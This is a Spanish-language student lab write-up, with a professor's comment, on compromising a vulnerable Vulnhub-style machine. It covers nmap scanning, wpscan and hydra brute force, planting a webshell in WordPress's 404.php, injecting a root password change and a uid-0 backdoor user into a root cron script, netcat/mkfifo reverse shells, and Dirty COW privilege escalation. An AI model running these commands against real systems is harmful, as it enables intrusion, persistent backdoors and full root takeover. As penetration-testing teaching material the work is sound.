Sie sind auf Seite 1von 9

Análisis de red.

Búsqueda de objetivos

*Escanear toda la subred de 24 bits 192.168.56.0: nmap 192.168.56.0/24

*Analizar puertos más comunes de un objetivo; nmap <objetivo>

*Escanear rango ip y rango de puertos: nmap 192.168.56.100-150 -p 1-10000

*Detectar versión de servicios: nmap -sV <objetivo>

*Detectar sistemas operativos: nmap -O <objetivo>

*Buscar vulnerabilidades más conocidas: nmap --script vuln <objetivo>

Cuando con nmap o similares detectemos servidores web podemos usar las herramientas de
enumeración para buscar cosas interesantes.

Herramientas de enumeración

Probad las herramientas nikto y dirb incluidas en Parrot Security

Sirven para descubrimiento de directorios y vulnerabilidades de servicios web.

dirb <urb>

nikt +h <url>

Ataques Wordpress Vulnerable

Hemos identificado un Wordpress sin actualizar, algo realmente peligroso para un servidor
web.

Ejecutando:

wpscan --url http://192.168.123.6/backup_wordpress

Obtenemos una lista detallada de vulnerabilidades.

wpscan -e u --url http://192.168.123.6/backup_wordpress


Enumera usuarios

wpscan --url http://192.168.123.6/backup_wordpress --passwords <ruta> --usernames


john,admin

Lanza un ataque de fuerza bruta contra los nombres de usuario indicados usando el fichero de
passwords indicado.

Parrot tiene listas de palabras en /usr/share/wordlists, son muy útiles para este tipo de
ataques comprobad que no tenéis vuestros password en estas listas

Ataques SSH por fuerza bruta

Hemos descubierto un puerto 22 y una lista de usuarios, verificando si los usuarios permiten
login podemos lanzar ataques de fuerza bruta por ssh

Hay bastantes herramientas para esto, podemos usar por ejemplo hydra y ncrack

hydra
-l Es el nombre de usuario, si se usa en mayúscula (-L) se puede poner un diccionario (*.txt)
-p Se pone el password, si se usa en mayúscula (-P) se puede poner un diccionario de
passwords [-P diccionario.txt].
-v imprime en pantalla los intentos de usarios-password, si se usa con mayúscula (-V) nos dará
más detalles del proceso de crackeo [-v] [-vV].
IP de nuestro objetivo [IP/host].
protocolo El protocolo al cual se atacará puedes ser cualquiera de los que soporta (ftp,ssh,etc…)
Ejemplo: hydra -L usuarios.txt -P claves.txt “ip a atacar” ssh

Ncrack
-p: Puerto del SSH
-U: Diccionario para romper el usuario
-P: Diccionario para romper la password
Ejemplo: ncrack -p 22 -U rockyou.txt -P rockyou.txt “ip a atacar”

Acceso Wordpress Instalación Webshell


Hemos logrado entrar por fuerza bruta al ssh, pero no suele ser tan sencillo, vamos a lograr
acceder al sistema desde el wordpress sin actualizar.

Con las credenciales obtenidas mediante fuerza bruta podemos entrar al panel de
administración de wordpress y en el apartado apariencia usar la opción editar. Lo más típico es
editar la plantilla de 404.php para inyectar código malicioso y activarlo al visitar un post no
existente.

Hay cantidad de webshell disponibles para descargar, busquemos uno para sustituir el 404.php
y de esta forma podremos tener acceso al servidor.

Podemos buscar webshell de PHP en nuestro caso en los siguientes enlaces.

https://github.com/xl7dev/WebShell

https://webshell.co/

Dentro del Shell

Una vez logramos entrar en una máquina, lo primero que debemos mirar es la versión del
kernel, si es una máquina olvidada con un kernel de hace unos años de años tiramos de dirty
cow y listo.

Ojo con las máquinas de vulnhub, si es algo antigua, en que entremos podremos usar dirty cow
y hacernos root, pero como es un bug posterior a la creación de muchas de las máquinas nos
estamos perdiendo la diversión al no seguir el camino preparado por el creador de la máquina.

Si no hay kernel vulnerable toca buscar algún servicio, script o demonio mal configurado o
vulnerable, para esto hay herramienta automática muy interesantes como unix-privesc-check

Podéis escalar tanto desde el webshell como desde el usuario anne ignorando que es del grupo
sudo. También podemos probar el script unix-privesc-check en nuestros servidores para
detectar problemas importantes de configuración.
ESCALAR PRIVILEGIOS

Un vez tenemos Shell escalamos privilegios.

Una vez logramos entrar en una máquina, lo primero que debemos mirar es la versión del kernel,
si es una máquina olvidada con un kernel de hace unos años de años tiramos de dirty cow y listo.

Ojo con las máquinas de vulnhub, si es algo antigua, en que entremos podremos usar dirty cow
y hacernos root, pero como es un bug posterior a la creación de muchas de las máquinas nos
estamos perdiendo la diversión al no seguir el camino preparado por el creador de la máquina.

Si no hay kernel vulnerable toca buscar algún servicio, script o demonio mal configurado o
vulnerable, para esto hay herramienta automáticas muy interesantes como unix-privesc-check

Podéis escalar tanto desde el webshell como desde el usuario anne ignorando que es del grupo
sudo. También podemos probar el script unix-privesc-check en nuestros servidores para
detectar problemas importantes de configuración.

Unix-privesc-shell
Respecto al escalado de privilegios, lo mejor es empezar por lo más fácil que puede ser descargar
unix-privesc-check desde el webshell:

wget pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz

Descomprimir:

tar -xvf unix-privesc-check-1.4.tar.gz

Ejecutar:

./unix-privesc-check-1.4/unix-privesc-check standard

Detectará un fallo bastante común


Como se puede ver el archivo cleanup es ejecutado como root desde el crontab.

Así que añadiendo una instrucción en este archivo que cambie la password de root podemos
conseguir acceso total al servidor

Desde el webshell

Echo “echo “root:toor” | chpaswd” >>cleanup

Con esto accedemos a la máquina como root con password toor .

SI quisiéramos ser más finos y no cambiar la password del root, pondríamos:

Useradd -u 0 -o -g 0 manuel
echo "manuel:manuel01" | chpasswd

REVERSE SHELL
Punto de partida.

Otra forma sencilla de aprovechar ese cron sería un script de netcat para abrir un shell por red
es:

En la víctima ejecutamos:

nc -l -p 1234 -e /bin/bash

En el atacante ejecutamos

nc ip-victima 1234

Si la parte de atacante la ponemos en el fichero cleanup (desde la webshell echo ” nc -l -p 1234


-e /bin/bash” >> /user/local/bin/cleanup
, de esta forma tenemos un shell remoto con el que podemos cambiar un password o modificar
cualquier fichero porque se ejecuta como root

La web pentestmonkey es un recurso excelente para iniciarse. tiene una sección de chuletas y
en ella una chuleta de reverse shells en varios lenguajes.

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Problema que nos vamos a encontrar


En el caso de Netcat podemos encontrarnos el caso de que este instalada una versión de Netcat
que no soporte la opción –e (como es el caso que nos ocupa), entonces buscando una solución
encontramos que se puede usar el siguiente comando (sin opción –e) en vez del antes indicado:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.123.4 1234 >/tmp/f

ACLARACION PROFESOR

Lo del fifo es buena idea, pero esa sintaxis no se ve tan clara, prefiero ejecutar desde la víctima:

$ mkfifo a

$ cat a | nc -l 1234 | /bin/bash > a

Y desde el atacante :

$ nc 192.168.123.6 1234

Efectivamente, haciéndolo así se consigue un Shell que nos permitirá crear un usuario o cambiar
la password del root (OJO que no te da prompt y despista…)

Reverse Shell INVERSO (con atacante en modo escucha)

http://www.reydes.com/d/?q=Crear_un_Shell_Inverso_utilizando_mkfifo

Y siguiendo el método de este enlace, poniendo en modo escucha la máquina atacante y


conectándose con netcat desde la víctima, es como obtenemos el mejor resultado en mi opinión.
En la víctima metemos en el fichero cleanup

mkfifo /tmp/f

cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 192.168.0.18 80 >/tmp/f

Y ponemos el atacante en modo escucha

sudo nc -n -vv -l -p 80

Esperamos que el cron lance el cleanup o lo forzamos con ./cleanup desde el webshell y veremos
que conseguimos el reverse-shell

ESCALANDO CON dirtycow


Para aprovechar la vulnerabilidad del kernel de Linux conocida como dirtycow que nos permite
escalar a root con la simple ejecución de un script, como es obvio lo primero que tenemos que
mirar es si el kernel de Linux es vulnerable.

Para ello nos vamos a conectar con el usuario anne que habíamos descubierto, por ssh.

Una vez dentro escribimos uname-a y nos dará la respuesta, diciendo que el kernel empleado
es 3-11-0.15, por lo tanto vulnerable.
La vulnerabilidad se ha parcheado para versiones 4.8.3, 4.7.9, 4.4.26 y posteriores.

Por lo tanto, podemos atacar.

EN la página https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs tenemos unos cuantos


scripts para usar la vulnerabilidad.

Yo me descargue el segundo que aparece, cowroot.c

Este archivo viene preparado para 64 bits, al ser la máquina víctima de 32 bits, debemos de
descomentar la parte de 32 bits y comentar la de 64.

Para pasar el archivo a la víctima lo podríamos hacer por scp desde la máquina atacante

Scp /rutalocal anne@192.168.123.6:/home/anne

También lo podríamos descargar directamente en el equipo víctima.

Nos dará un error de TLS, al ser la web segura comprueba la versión del protocolo y nos viene a
decir que es antigua.

Lo podemos evitar haciendo el comando tal que así:

wget https://site --no-check-certificate --secure-protocol=TLSv1

donde site si queremos descargar el cowroot será


https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679

Una vez tenemos el archivo en el equipo víctima, compilamos y ejecutamos

gcc cowroot.c -o cowroot –pthread

./cowroot

La máquina víctima se vuelve muy inestable después de la ejecución.

Mirando por foros vemos que si ejecutamos la línea inferior se vuelve más estable.

Hay que hacerlo muy rápido ya que sino la “víctima” solicita el reinicio.
echo 0 > /proc/sys/vm/dirty_writeback_centisecs

Una opción más interesante, teniendo en cuenta que no nos vamos a encontrar muy a menudo
con usuarios anne con permisos administrativos , sería acceder mediante el webshell y desde
ahí ejecutar el proceso de descargar, compilar y ejecutar el dirtycow

EN http://oswalpalash.com/exploiting-dirtyc0w-vulnerability-exploit-code/ tenemos un
montón de exploits para descargar directamente desde el webshell y ejecutar desde ahí.

No conseguí hacer nada con ninguno, nada más que tirar la máquina abajo.

Das könnte Ihnen auch gefallen